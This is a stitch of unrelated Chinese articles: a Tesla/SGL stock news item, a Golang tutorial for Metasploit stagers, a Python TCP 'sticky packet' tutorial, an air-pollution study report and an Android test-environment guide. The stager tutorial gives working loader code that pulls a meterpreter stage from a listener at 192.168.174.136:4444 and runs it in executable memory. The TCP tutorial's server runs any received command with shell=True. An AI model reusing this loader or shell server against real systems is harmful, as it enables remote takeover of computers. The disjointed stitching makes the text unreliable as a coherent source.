特斯拉推儲能電池系統 德國石墨陽極商 SGL 受惠

美國豪華電動車製造商特斯拉 (Tesla) 跨界家用電池,德國汽車碳纖維生產商西格里集團 (SGL Carbon SE) 在投資人期待該公司可望因此受惠的激勵下,股價創下近三個月以來最大單日漲幅。   SGL 主要是為日立、Panasonic 這些日本電子大廠供應石墨陽極材料,而日立、Panasonic 則會將電池元件賣給特斯拉。   Bankhaus Lampe 分析師 Marc Gabriel 說,SGL 是少數幾家能因電池需求增溫而受惠的德國業者。根據報導,SGL 發言人已確認,該公司的確是日立、Panasonic 的石墨陽極材料供應商。

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msf stagers開發不完全指北(二)

採用 Golang 開發stagers

上一篇文章 msf stagers開發不完全指北(一)中我們談到如何採用 c 進行 msf 的 stagers 開發,這篇文章我們探討一下如何使用 Golang 實現同樣的功能

思路梳理

在 Golang 中一點比較重要的是,我們如何能夠獲取到 socket 的文件描述符,除此之外,我們還是同樣的步驟

  1. 向 msf 監聽地址發起 tcp 請求
  2. 獲取 stages
  3. 將 socket fd 放入寄存器 edi
  4. 從起始地址開始執行 stages

編譯環境

  • OS: Windows 10

  • Golang: go version go1.14.1 windows/amd64

獲取stages

socket, err := net.Dial("tcp", "192.168.174.136:4444")
if err != nil {
    return err
}

// read payload size
var payloadSizeRaw = make([]byte, 4)
numOfBytes, err := socket.Read(payloadSizeRaw)
if err != nil {
	return err
}
if numOfBytes != 4 {
    return errors.New("Number of size bytes was not 4! ")
}
payloadSize := int(binary.LittleEndian.Uint32(payloadSizeRaw))

// read payload
var payload = make([]byte, payloadSize)
// numOfBytes, err = socket.Read(payload)
numOfBytes, err = io.ReadFull(socket, payload)
if err != nil {
    return err
}
if numOfBytes != payloadSize {
    return errors.New("Number of payload bytes does not match payload size! ")
}

這裡有幾點我們需要注意的地方,第一是讀取stages長度是需要使用 binary 庫把它轉化為 int32,你可以理解為 python 中的 struct 庫,第二個是我們慣用的從 socket 連接讀取數據使用的是 Read,但是並不能讀全,和網絡有關係,需要使用 ReadFull 或者 ReadAtLeast 進行讀取。讀取到 stages 后,我們可以進行下一步操作了。

socket fd 放入 edi

conn := socket.(*net.TCPConn)
fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

buff := make([]byte, 4)
binary.LittleEndian.PutUint32(buff, socketFd)
return buff

這部分代碼就是我上面所說的難點了,首先 socket, err := net.Dial("tcp", "192.168.174.136:4444") 返回的是一個接口 type Conn interface ,我們需要找到他的真實類型,繼續往裡面跟我們會發現他的真實類型是 *net.TCPConn,為什麼要做這一步?

我們先看看這個結構體

// TCPConn is an implementation of the Conn interface for TCP network
// connections.
type TCPConn struct {
	conn
}

type conn struct {
	fd *netFD
}

我們其實需要的是裏面的文件描述符,我們再往裡跟一下

// Network file descriptor.
type netFD struct {
	pfd poll.FD

	// immutable until Close
	family      int
	sotype      int
	isConnected bool // handshake completed or use of association with peer
	net         string
	laddr       Addr
	raddr       Addr
}

// poll.FD
// FD is a file descriptor. The net and os packages embed this type in
// a larger type representing a network connection or OS file.
type FD struct {
	// Lock sysfd and serialize access to Read and Write methods.
	fdmu fdMutex

	// System file descriptor. Immutable until Close.
	Sysfd syscall.Handle

	// Read operation.
	rop operation
	// Write operation.
	wop operation

	// I/O poller.
	pd pollDesc

	// Used to implement pread/pwrite.
	l sync.Mutex

	// For console I/O.
	lastbits       []byte   // first few bytes of the last incomplete rune in last write
	readuint16     []uint16 // buffer to hold uint16s obtained with ReadConsole
	readbyte       []byte   // buffer to hold decoding of readuint16 from utf16 to utf8
	readbyteOffset int      // readbyte[readOffset:] is yet to be consumed with file.Read

	// Semaphore signaled when file is closed.
	csema uint32

	skipSyncNotif bool

	// Whether this is a streaming descriptor, as opposed to a
	// packet-based descriptor like a UDP socket.
	IsStream bool

	// Whether a zero byte read indicates EOF. This is false for a
	// message based socket connection.
	ZeroReadIsEOF bool

	// Whether this is a file rather than a network socket.
	isFile bool

	// The kind of this file.
	kind fileKind
}

可以看到 Sysfd 是文件描述符,也就是我們想要的,我們需要取一下,這裏因為 Golang 裏面小寫開頭的字段是不導出的,我們需要使用反射取一下

注意:可能因為 Golang 版本不一致,這個結構有所更改,請自行考證一下,主要原因是非導出字段,官方是不保證向下兼容性的

所以獲取文件描述符的代碼就是

fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

文件描述符是 handle 所指向的值,這裏需要注意一下

然後後面的還是我們之前的操作,使用 binary 包把 uint32 轉為 4bytes 數組

然後我們需要把 socket fd 放入 edi

payload = append(append([]byte{0xBF}, socketFD...), payload...)

mov edi, xxxx 放到了 stages 頭部

執行stages

一切的準備工作都做完了,下面就是開始準備執行了,類似執行 shellcode 的方式,這裏的實現方式八仙過海各顯神通了,我這裏只給我我這裏的實現方式

// modify payload to comply with the plan9 calling convention
payload = append(
    []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57},
    append(
        payload,
        []byte{0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3}...,
    )...,
)
addr, _, err := virtualAlloc.Call(0, uintptr(len(payload)), 0x1000|0x2000, 0x40)
if addr == 0 {
    return err
}
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&payload[0])), uintptr(len(payload)))
syscall.Syscall(address, 0, 0, 0, 0)

這裏的一串奇奇怪怪的字符可以不用加,只是為了遵守 plan9 彙編的調用約定,一些 push 保存堆棧現場和 pop 還原

然後就是先通過申請 VirtualAlloc 一塊可讀可寫可執行的內存,然後使用 RtlCopyMemory 把 stages 字節碼拷貝進去,然後開始跑。

這裏的 windows api 使用的聲明如下

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	virtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

這裏其實你也可以使用 x/windows 庫方便使用。

結果展示

64位編譯出來 1.73M,通過 upx 壓縮后 616kb,32位編譯出來會更小

執行試試

監聽 payload windows/x64/meterpreter/reverse_tcp ,可以看到成功上線

注意事項

  • 可能因為 Golang 版本不一致,這個結構有所更改,請自行考證一下,主要原因是非導出字段,官方是不保證向下兼容性的
  • 依然需要注意位數的差異,比如32位的payload請使用32位編譯,64位payload使用64位編譯

成果源碼

成果源碼我就不貼出來了,其實也是這些代碼組合在一起

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TCP協議粘包問題詳解

TCP協議粘包問題詳解

前言

  在本章節中,我們將探討TCP協議基於流式傳輸的最大一個問題,即粘包問題。本章主要介紹TCP粘包的原理與其三種解決粘包的方案。並且還會介紹為什麼UDP協議不會產生粘包。

 

基於TCP協議的socket實現遠程命令輸入

  我們準備做一個可以在Client端遠程執行Server端shell命令並拿到其執行結果的程序,而涉及到網絡通信就必然會出現socket模塊,關於如何抉擇傳輸層協議的選擇?我們選擇使用TCP協議,因為它是可靠傳輸協議且數據量支持比UDP協議要大。好了廢話不多說直接上代碼了。

 

  Server端代碼如下:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

# ==== 基於TCP協議的socket實現遠程命令輸入之Server ====

import subprocess
from socket import *

server = socket(AF_INET, SOCK_STREAM)
server.bind(("0.0.0.0",6666))  # 放在遠程填入0.0.0.0,放在本地填入127.0.0.1
server.listen(5)

while 1:  # 鏈接循環
    conn,client_addr = server.accept()
    while 1:  # 通信循環
        try:  # 防止Windows平台下Client端異常關閉導致雙向鏈接崩塌Server端異常的情況發生
            cmd = conn.recv(1024)
            if not cmd:  # 防止類Unix平台下Client端異常關閉導致雙向鏈接崩塌Server端異常的情況發生
                break
            res = subprocess.Popen(cmd.decode("utf-8"),
                             shell=True,
                             stdout=subprocess.PIPE,
                             stderr=subprocess.PIPE,)

            stdout_res = res.stdout.read()  # 正確結果
            stderr_res = res.stderr.read()  # 錯誤結果
            # subprocess模塊拿到的是bytes類型,所以直接發送即可

            cmd_res = stdout_res if stdout_res else stderr_res  # 因為兩個結果只有一個有信息,所以我們只拿到有結果的那個
            conn.send(cmd_res)

        except Exception:
            break

    conn.close()  # 由於client端鏈接異常,故關閉鏈接循環

 

  Client端代碼如下:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

# ==== 基於TCP協議的socket實現遠程命令輸入之Client ====

from socket import *

client = socket(AF_INET,SOCK_STREAM)
client.connect(("xxx.xxx.xxx.xxx",6666))  # 填入Server端公網IP

while 1:
    cmd = input("請輸入命令>>>:").strip()
    if not cmd:
        continue
    if cmd == "quit":
        break
    client.send(cmd.encode("utf-8"))
    cmd_res = client.recv(1024)  # 本次接收1024字節數據
    print(cmd_res.decode("utf-8"))  # 如果Server端是Windows則用gbk解碼,類Unix用utf-8解碼

client.close()

 

  測試結果:

 

粘包問題及其原理

  上面的測試一切看起來都非常完美,但是是有一個BUG的。當我們如果讀取一條非常長的命令實際上是會出問題的,比如:

  這種現象被稱之為粘包,那麼為何會產生這樣的現象呢?

 

  這是由於recv()沒有一次性讀取完整個內核緩衝區的內容導致的。其實歸根結底還是怪TCP是字節流方式傳輸數據。

 

  我們來解析一下這種現象產生的原因:

 

  由於我們的recv()只是按照固定的1024去讀取數據,那麼一旦整體內核緩衝區中所存儲的整體數據大於1024,就會產生粘包現象。所謂粘包問題主要還是因為接收方不知道消息之間的界限,不知道一次性提取多少字節的數據所造成的。

 

  這裏我還畫了一幅圖,可以方便讀者理解:

 

  那麼我們可以通過不斷的增大recv()中的讀取範圍來解決這個問題嗎?就像對應上圖中的,一次性把快遞櫃包裹全取完,答案是不可以!你再大你也不可能大過內核緩衝區,這個東西都是有一個一定的閾值。一旦超出了這個閾值就會引發異常或者乾脆無效。那麼有什麼好的辦法呢?哈,下面會教給你一些解決辦法的。不過在此之前我們要先看一個TCP協議特有的Nagle算法。

 

Nagle算法與粘包

 

  基於TCP協議的socket通信有一個特點,即:一方的send()與另一方的recv()可以沒有任何關係,即:一方send()三次,另一方recv()一次就可以將數據全部取出來。

 

  TCP協議的發送方有一個特徵。他會進行組包,如果一次發送的數據量很小,比如第一次發送10個字節,第二次發生2個字節,第三次發生3個字節。他可能會將這15個字節湊到一塊發送出去,這是採用了Nagle算法來進行的,這麼做有一個弊端就是接收方想要將這個大的數據包按照發送方的發送次數精確無誤的接收拆分成10 2 3必須要有發送方提供的拆包機制才行。

 

  如下圖組所示

 

  發送方:

from socket import *
ip_port = ("127.0.0.1",12306)
buffer_size = 1024
back_log = 5

server = socket(AF_INET,SOCK_STREAM)
server.bind(ip_port)
server.listen(back_log)

conn,addr = server.accept()
conn.send("hello,".encode("utf-8"))  # 第一次發送是6Bytes的數據
conn.send("world,".encode("utf-8"))     # 第二次也是6Bytes的數據
conn.send("yunyaGG!!".encode("utf-8"))  # 第三次是9Bytes的數據

 

  接收方:

from socket import *
ip_port = ("127.0.0.1",12306)
buffer_size = 1024

client = socket(AF_INET,SOCK_STREAM)
client.connect(ip_port)

data_1 = client.recv(buffer_size)  # 我們讀取數據時統一用設定的 buffer_size 來讀取
print("這是第一次的數據包:",data_1.decode("utf-8"))
data_2 = client.recv(buffer_size)
print("這是第二次的數據包:",data_2.decode("utf-8"))
data_3 = client.recv(buffer_size)
print("這是第三次的數據包:",data_3.decode("utf-8"))

 

  接收結果:

# ==== 執行結果 ====
"""
這是第一次的數據包: hello,
這是第二次的數據包: world,yunyaGG!!
這是第三次的數據包: 
"""

 

  和預想的有點不太一樣哈,居然把第二次和第三次組成了一個大的數據包發送過來了。這就是Nagle算法,這樣的組包策略很容易就會產生粘包。我不知道你是以什麼樣的方式發過來的,所以我recv()就只能按照自己設定的方式去接收。

 

  現在思考一下粘包的思路,我們的發送方需要將切分解包的規則告訴給接收方。

  我們嘗試改一下每一次的buffer_size接收大小:

 

  接收方:

from socket import *
ip_port = ("127.0.0.1",12306)
buffer_size = 1024

client = socket(AF_INET,SOCK_STREAM)
client.connect(ip_port)

data_1 = client.recv(6)  # 我們手動的按照對方發送時的規則來進行拆包
print("這是第一次的數據包:",data_1.decode("utf-8"))
data_2 = client.recv(6)
print("這是第二次的數據包:",data_2.decode("utf-8"))
data_3 = client.recv(9)
print("這是第三次的數據包:",data_3.decode("utf-8"))

 

  接收結果:

# ==== 執行結果 ====
"""
這是第一次的數據包: hello,
這是第二次的數據包: world,
這是第三次的數據包: yunyaGG!!
"""

 

  粘包被我們手動的計算字節數來精確的分割數據接受量的大小給解決了,但是這樣做是不現實的..我們不可能知道對方發送的數據到底是怎麼樣的,更不用說手動計算。所以有沒有更好的解決方案呢?

 

解決方案1:預先發送消息長度

  好了,其實上面關於解決粘包的思路已經出來了。我們需要做的就是讓接收方知道本次發送內容的大小,接收方才能夠精確的將所有數據全部提取出來不產生遺漏。其實實現方式很簡單,可以嘗試以下思路:

 

  1.發送方發送一個此次數據固定的長度

  2.接收方接收到該數據長度並且回應

  3.發送方收到回應並且發送真正的數據

  4.接收方不斷的用默認的buffer_size值接收新的數據並存儲起來直到超出整個數據的長度,代表此處數據全部接收完畢

 

  Server端:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

# ==== 基於TCP協議的socket實現遠程命令輸入之Server ====

import subprocess
from socket import *

server = socket(AF_INET, SOCK_STREAM)
server.bind(("0.0.0.0", 6666))  # 放在遠程填入0.0.0.0 放在本地測試填入127.0.0.1
server.listen(5)

while 1:  # 鏈接循環
    conn, client_addr = server.accept()
    while 1:  # 通信循環
        try:  # 防止Windows平台下Client端異常關閉導致雙向鏈接崩塌Server端異常的情況發生
            cmd = conn.recv(1024)
            if not cmd:  # 防止類Unix平台下Client端異常關閉導致雙向鏈接崩塌Server端異常的情況發生
                break
            res = subprocess.Popen(cmd.decode("utf-8"),
                                   shell=True,
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE, )

            stdout_res = res.stdout.read()  # 正確結果
            stderr_res = res.stderr.read()  # 錯誤結果
            # subprocess模塊拿到的是bytes類型,所以直接發送即可

            cmd_res = stdout_res if stdout_res else stderr_res  # 因為兩個結果只有一個有信息,所以我們只拿到有結果的那個
            msg_length = len(cmd_res)  # 本次數據的長度
            conn.send(str(msg_length).encode("utf-8"))  # 先將要發的整體內容長度發送過去
            if conn.recv(1024) == b"ready":  # 如果接收方回應了ready則開始發送真正的數據體
                conn.send(cmd_res)

        except Exception:
            break

    conn.close()  # 由於client端鏈接異常,故關閉鏈接循環

 

  Client端:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

# ==== 基於TCP協議的socket實現遠程命令輸入之Client ====

from socket import *

client = socket(AF_INET, SOCK_STREAM)
client.connect(("xxx.xxx.xxx.xxx", 6666))  # 填入Server端公網IP

while 1:
    cmd = input("請輸入命令>>>:").strip()
    if not cmd:
        continue
    if cmd == "quit":
        break
    client.send(cmd.encode("utf-8"))

    msg_length = int(client.recv(1024).decode("utf-8"))  # 接收到此次發送內容的整體長度
    recv_length = 0  # 代表已接收的內容長度
    cmd_res = b""

    client.send(b"ready")  # 發送給Server端,代表自己已經接收到此次內容長度,可以發送真正的數據啦

    while recv_length < msg_length:
        cmd_res += client.recv(1024)  # 本次接收1024字節數據,可能是一小節數據
        recv_length += len(cmd_res)  # 添加上本次讀取的長度,當全部讀取完后應該 recv_length == msg_length

    else:
        print(cmd_res.decode("utf-8"))  # 如果Server端是Windows則用gbk解碼,類Unix用utf-8解碼

client.close()

 

  結果如下:

 

解決方案2:json+struct方案

  其實上面的解決方案還是有一些弊端,因為Server端是發送了2次send(),第1次發送數據整體長度,第2次發送數據內容主體,這樣其實是不太好的(Server端可能同時處理多個鏈接,所以send()次數越少越好),而且如果Server端傳的是一個文件的話那麼局限性就太強了。因為我們只能將整體的消息長度發送過去而諸如文件名,文件大小之內的信息就發送不過去。

  所以我們需要一個更加完美的解決方案,即Server端發送一次send()就將本次的數據整體長度發送過去(還可以包括文件姓名,文件大小等信息。)

 

  struct模塊使用介紹

 

  struct模塊可以將其某一種數據格式序列化為固定長度的Bytes類型,其中最重要的兩個方法就是pack()unpack()

 

  pack(fmt,*args): 根據格式將其轉換為Bytes類型

  unpack(fmt,string):根據格式將Bytes類型數據反解為其原本的形式

 

格式 C語言類型 Python類型 字節數大小
x 填充字節 沒有值  
c char 字節長度為1 1
b signed char 整數 1
B unsigned char 整數 1
? _Bool bool 1
h short 整數 2
H unsigned short 整數 2
i int 整數 4
I unsigned int 整數 4
l long 整數 4
L unsigned long 整數 4
q long long 整數 8
Q unsigned long long 整數 8
n ssize_t 整數  
N size_t 整數  
f float 浮點數 4
d double 浮點數 8
s char[] 字節  
p char[] 字節  
P void * 整數  

 

  使用演示:

>>> import struct
>>> b1 = struct.pack("i",12)  # 嘗試將 int類型的12進行序列化,得到一個4字節的對象
>>> b1
b'\x0c\x00\x00\x00'
>>> struct.unpack("i",b1)  # 嘗試將12的序列化對象字節進行反解,得出元組,第1位就是需要的數據。
(12,)
>>>

 

  好了,了解到這裏我們就可以開始進行改寫了。

  Server端代碼如下:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

# ==== 基於TCP協議的socket實現遠程命令輸入之Server ====

import json
import struct
import subprocess
from socket import *

server = socket(AF_INET, SOCK_STREAM)
server.bind(("0.0.0.0", 6666))  # 放在遠程填入0.0.0.0 放在本地測試填入127.0.0.1
server.listen(5)

while 1:  # 鏈接循環
    conn, client_addr = server.accept()
    while 1:  # 通信循環
        try:  # 防止Windows平台下Client端異常關閉導致雙向鏈接崩塌Server端異常的情況發生
            cmd = conn.recv(1024)
            if not cmd:  # 防止類Unix平台下Client端異常關閉導致雙向鏈接崩塌Server端異常的情況發生
                break
            res = subprocess.Popen(cmd.decode("utf-8"),
                                   shell=True,
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE, )

            stdout_res = res.stdout.read()  # 正確結果
            stderr_res = res.stderr.read()  # 錯誤結果
            # subprocess模塊拿到的是bytes類型,所以直接發送即可

            cmd_res = stdout_res if stdout_res else stderr_res  # 因為兩個結果只有一個有信息,所以我們只拿到有結果的那個

            # 解決粘包:構建字典,包含數據主體長度,這個就相當於其頭部信息
            head_msg = {
                "msg_length": len(cmd_res), # 包含數據主體部分的長度
                # 如果是文件,還可以添加file_name,file_size等屬性。
            }

            # 序列化成json格式,並且統計其頭部的長度
            head_data = json.dumps(head_msg).encode("utf-8")
            head_length = struct.pack("i", len(head_data))  # 得到4字節的頭部信息,裡面包含頭部的長度

            # 發送頭部長度信息,頭部數據,與真實數據部分
            conn.send(head_length + head_data + cmd_res)

        except Exception:
            break

    conn.close()  # 由於client端鏈接異常,故關閉鏈接循環

 

  Client端代碼如下:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

# ==== 基於TCP協議的socket實現遠程命令輸入之Client ====

import json
import struct
from socket import *

client = socket(AF_INET, SOCK_STREAM)
client.connect(("xxx.xxx.xxx.xxx", 6666))  # 填入Server端公網IP

while 1:
    cmd = input("請輸入命令>>>:").strip()
    if not cmd:
        continue
    if cmd == "quit":
        break
    client.send(cmd.encode("utf-8"))  # 發送終端命令

    # 解決粘包
    head_length = struct.unpack("i", client.recv(4))[0]  # 接收到頭部的長度信息
    head_data = json.loads(client.recv(head_length))  # 接收到真實的頭部信息

    msg_length = head_data["msg_length"]  # 獲取到數據主體的長度信息
    recv_length = 0  # 代表已接收的內容長度
    cmd_res = b""

    # 開始獲取真正的數據主體信息
    while recv_length < msg_length:
        cmd_res += client.recv(1024)  # 本次接收1024字節數據,可能是一小節數據
        recv_length += len(cmd_res)  # 添加上本次讀取的長度,當全部讀取完后應該 recv_length == msg_length

    else:
        print(cmd_res.decode("utf-8"))  # 如果Server端是Windows則用gbk解碼,類Unix用utf-8解碼


client.close()

 

  思想如下:

    1.Server端構建自身的數據頭部分,其中包含數據體整體長度,如果傳輸的是文件的話還可以包含文件名,文件大小等信息

    2.將數據頭部分json序列化后再轉換為Bytes類型

    3.使用struct.pack()模塊獲取數據頭的長度,得到一個長度為4的Bytes類型

    4.Server端將 數據頭長度 + 數據頭部分 + 數據體部分 全部發送給Client端

    5. Client端recv()接收值改為4,拿到數據頭長度Bytes類型

    6. Client端使用struct.unpack(數據頭長度Bytes類型)模塊反解出數據頭真實的長度

    7. Client端使用recv()接收值為數據頭真實的長度拿到真正的數據頭

    8. 通過json反序列化出真正的數據頭,在到其中取出數據體的長度

    9. 開始while循環不斷的讀取真實的數據體數據

 

 

解決方案3:iter()與偏函數(失敗案例)

 

  上面那麼做看似完美但還是美中不足。因為內存緩衝區本來就是只能取一次值,和迭代器很像,只能迭代一次便不能繼續迭代了。基於這一點我們來做一個終極優化:

  還記得iter()方法嗎?iter()方法除開創建迭代器外實際上還有一個參數:

 

def iter(source, sentinel=None):  # known special case of iter
    """
    iter(iterable) -> iterator
    iter(callable, sentinel) -> iterator

    Get an iterator from an object.  In the first form, the argument must
    supply its own iterator, or be a sequence.
    In the second form, the callable is called until it returns the sentinel.
    """
    pass

 

  我們來試試這個參數做什麼用的。

li = [1, 2, 3, 4]

def my_iter():
    return li.pop()

res = iter(my_iter, 2)  # 代表這個迭代器沒__next__一下就會執行my_iter函數,並且該函數返回值如果是2則終止迭代
print(res.__next__())  # 4
print(res.__next__())  # 3
print(res.__next__())  # StopIteration

 

  第二個參數看來可以設置迭代的終點。

 

  那麼偏函數是什麼呢?偏函數可以設定一個固定的參數給第一個位置的值

  效果如下:

from functools import partial  # 導入偏函數

def add(x, y):
    return x + y

func = partial(add, 1)  # 設置辨寒暑綁定的第一個參數的值
print(func(1))  # 2
print(func(5))  # 6

 

  現在我們仔細回想,當緩衝區的消息接收完畢後為空的狀態是會變成 b""的形式。那麼這個時候我們可以使用iter()方法設置為不斷的取出緩存中的值直到出現b"",而偏函數可以對recv()函數進行設置讓它始終取一個值,最後通過join來拼接出取出的所有值即可。

  可以使用 "".join(iter(partial(tcp_clien.recv,back_log)),b"")

 

  我們嘗試用函數來查看一下效果:

from functools import partial  # 導入偏函數

li = [b"","1","2","3","4","5"]  # 模擬內核緩衝區

def test(buffer_size):
    if buffer_size:  # 模擬recv的數據大小
        return li.pop()
    print("buffer_size必須為一個int類型的值")

res = "".join(iter(partial(test,1024),b""))
print(res)  # 54321

# join()方法會不斷的調用iter()下的__next__,每調用一次就執行一次偏函數。知道出現b""停止

 

  最後我們發現,這樣的做法是會產生recv()阻塞的,總體來說還是不能夠成功。因為join()方法會不斷的執行,即使內核緩衝區的數據被recv()讀完了也不會終止迭代而是繼續阻塞下次的recv(),故這種方式宣告失敗。(還是iter()的第二個參數導致的,或許讀取完后內核緩衝區中的數據並不是b""

 

  測試的Server端代碼如下:

from socket import *
import subprocess
import struct
ip_port=('127.0.0.1',8080)
back_log=5
buffer_size=1024

tcp_server=socket(AF_INET,SOCK_STREAM)
tcp_server.bind(ip_port)
tcp_server.listen(back_log)

while True:
    conn,addr=tcp_server.accept()
    print('新的Client鏈接',addr)
    while True:
        #
        try:
            cmd=conn.recv(buffer_size)
            if not cmd:break
            print('收到Client的命令',cmd)

            #執行命令,得到命令的運行結果cmd_res
            res=subprocess.Popen(cmd.decode('utf-8'),shell=True,
                                 stderr=subprocess.PIPE,
                                 stdout=subprocess.PIPE,
                                 stdin=subprocess.PIPE)
            err=res.stderr.read()
            if err:
                cmd_res=err
            else:
                cmd_res=res.stdout.read()

            #
            if not cmd_res:
                cmd_res='執行成功'.encode('gbk')

            length=len(cmd_res)

            data_length=struct.pack('i',length)
            conn.send(data_length)
            conn.send(cmd_res)
        except Exception as e:
            print(e)
            break

 

  測試的Client代碼如下:

from socket import *
import struct
from functools import partial   #偏函數
ip_port=('127.0.0.1',8080)
back_log=5
buffer_size=1024

tcp_client=socket(AF_INET,SOCK_STREAM)
tcp_client.connect(ip_port)

while True:
    cmd=input('>>: ').strip()
    if not cmd:continue
    if cmd == 'quit':break

    tcp_client.send(cmd.encode('utf-8'))


    #解決粘包
    length_data=tcp_client.recv(4)
    length=struct.unpack('i',length_data)[0]
   
  #第一種方法
    recv_size=0
    recv_msg=b''
    while recv_size < length:
        #為何recv里是buffer_size,不是length,因為length如果為24G,系統內存沒有那麼大
        #所以每次buffer_size,當recv_size < length時,循環接收,直到recv_size =length,退出循環
        recv_msg += tcp_client.recv(buffer_size)
        recv_size=len(recv_msg) #1024

    #第二種方法 失敗版本,會引發recv()的阻塞,而不會終止迭代。因為join()方法會不斷的調用其iter()方法產生的迭代器,也就是調用其__next__方法,所以第二次沒消息的recv()會阻塞住。
    #recv_msg=''.join(iter(partial(tcp_client.recv, buffer_size), b''))
    print('命令的執行結果是 ',recv_msg.decode('gbk'))
tcp_client.close()

 

UDP協議為何不會產生粘包

 

  UDP協議是面向消息的協議,每一次的sendto()recvfrom()必須一一對應,否則就會收不到消息。

 

  UDP是面向消息的協議,每個UDP段都是一條消息,每sendto()一次就是發送一次消息,而不管接收方有沒有收到消息發送方只管自己的發送任務,這也是UDP被稱為不可靠傳輸協議的由來。接收端的套接字緩衝區採用了鏈式的結構來記錄每一個到達的UDP包,在每一個UDP包中都有了消息頭,包括端口,消息源等等..於是UDP就能夠去區分出一個明確的消息定義,即面向消息的通信是有消息邊界的,所以UDP的傳輸叫做數據報的形式。

 

  並且每一次recvform()buffer_size最大值如果不夠獲取完全部的內核緩衝區里的數據的話,那麼只會收夠指定的最大字節數量(即buffer_size的設定值),剩餘的就不要了。所以UDP不會存在粘包,多麼乾脆利落…

 

  我們還是用一個快遞員的那個圖來進行演示:

  還有一點需要注意一下。使用UDP協議進行通信的時候不管首先啟動哪一方都不會報錯,因為它只管發,不管有沒有人接收。

  所以,這也是我稱UDP協議比較隨便的原因。

 

  那麼隨便有沒有什麼好處呢?有的,速度快。不用建立雙向鏈接通道,但是其代價就是數據可靠性與安全性的問題,效率和安全從來都是相對的,這個也只能在從中做取捨。

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發電致空污傷身 研究:改用再生能源衝擊降8成

摘錄自2019年11月19日中央通訊社綜合報導

專家今天(19日)表示,若跟經濟高度仰賴化石燃料的現況相比,若絕大多數能源取自太陽能與風力發電,到本世紀中以前,發電產生的空氣污染對人體衝擊可減少多達80%。

世界衛生組織(WHO)估計,全球每年有420萬人因空氣污染早死,而空污多半源自燃燒化石燃料來發電。

波茨坦氣候變遷衝擊研究所的模型預測,依現行能源業趨勢,全球人類到2050年以前將因空污失去600萬年總壽命,若未來30年再生能源主導發電業,則可把這項數據減少至100萬年左右。

另外,這份報告也探討綠能發電在本世紀中之前對於環境和生態的影響。研究團隊發現,儘管生物能源(bioenergy,以生物來源為材料製造的再生能源)具備低碳排潛力,卻會對環境帶來重大影響。事實上若以千瓦小時計算,生物能源要跟太陽能板生產等量能源,所需土地是太陽能板的100倍左右。

波茨坦氣候變遷衝擊研究所的土地利用管理部門負責人卜普(Alexander Popp)說:「土地對地球而言是有限資源。…由於全球人口持續增長,同時需要電力和食物,土地與糧食體系面臨的壓力也會增加。」

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app自動化測試環境配置:adb環境配置、monkey環境配置、appium環境配置大全

1. 安裝jdk

安裝參考鏈接:https://www.cnblogs.com/erweimalaoshi/p/13204509.html

2. 安裝配置Andriod sdk

  安裝Andriod sdk前首先需要安裝配置好jdk環境。

  然後安裝Android sdk

  安裝完成后需要配置環境變量:ANDROID_HOME。

  (1)直接將Android sdk解壓到對應文件路徑下,比如我解壓到c盤根目錄andriod文件夾下

 

  (2)配置環境變量,系統變量裏面添加變量名 ANDROID_HOME 路徑為實際存放SDk的路徑

 

  (3)其他幾個路徑添加到系統環境變量Path中如下圖所示:

    第一個path

 

 

    第二個path

 

 

    第三個path

 

  (4)配置好后檢查一下

    在cmd中輸入adbaapt來判斷安裝是否成功

 

3.  模擬器的安裝夜神

  (1)默認快速安裝,安裝后打開夜神模擬器設置

 

  (2)還可以多開創建一個新的模擬器

 

4.  元素獲取工具-UIAutomator

  (1)進入Android sdk安裝目錄,找到tools文件夾,找到uiautomatorviewer.bat點擊運行,使用它獲取元素

  (2)首先,檢查手機設備是否連接了電腦,在手機設置開發者選項中勾選usb調試,如果沒有開發者選項,在關於平板中連續點擊7次就可以彈出來

  (3)在手機中打開要獲取元素的app

  (4)點擊UIAutomator中的按鈕

  (5)然後可以獲取app元素的信息。這個是1.0版本,2.0版本是集成在appium中的

5.  啟用adb調試

  adb ( Android Debug Bridge)是一個通用命令行工具,它允許你與模擬器實例或連接的 Android 設備進行通信。它可為各種設備操作提供便利,如安裝和調試應用。

  在 android_sdk/platform-tools/ 中找到 adb 工具,然後根據其具體的路徑配置好環境變量(環境變量在2中已經配置過)。然後啟動cmd 輸入‘adb’即可查看是否配置成功。

6. Appium環境搭建

  請安裝新版本node.js

  node.js安裝

  下載地址:https://nodejs.org/en/download/releases/

  注意:Node.js版本要注意與Appium兼容,Appium版本是1.13.0,則選擇的Node.js版本為12.11.1

  默認下一步安裝

  雙擊安裝包

 

  安裝好后通過cmd去查看是否安裝成功,用node -v 查看版本,如果提示不是內部命令,可能是環境變量錯誤或者用管理員身份運行

  查看包管理工具,用命令npm -v相當於python中的pip

Appium的安裝

  Appium Server其實可以通過命令 npm install -g appium來安裝。不過由於眾所周知的網絡原因,直接使用這樣安裝會非常非常慢,甚至會安裝失敗,所以我們可以使用國內鏡像來安裝。

  選用的鏡像是 淘寶NPM鏡像https://npm.taobao.org

鏡像設置

  npm install -g cnpm –registry=https://registry.npm.taobao.org

  執行完成命令看到如下提示則表示設置完成

  鏡像設置好后,就可以進行appium的安裝了

  #安裝最新版本

  cnpm install -g appium

  #安裝指定版本

  cnpm install appium@1.13.0 -g

  檢查是否安裝成功,在控制台輸入命令 appium即可啟動appium服務,appium -v查看版本

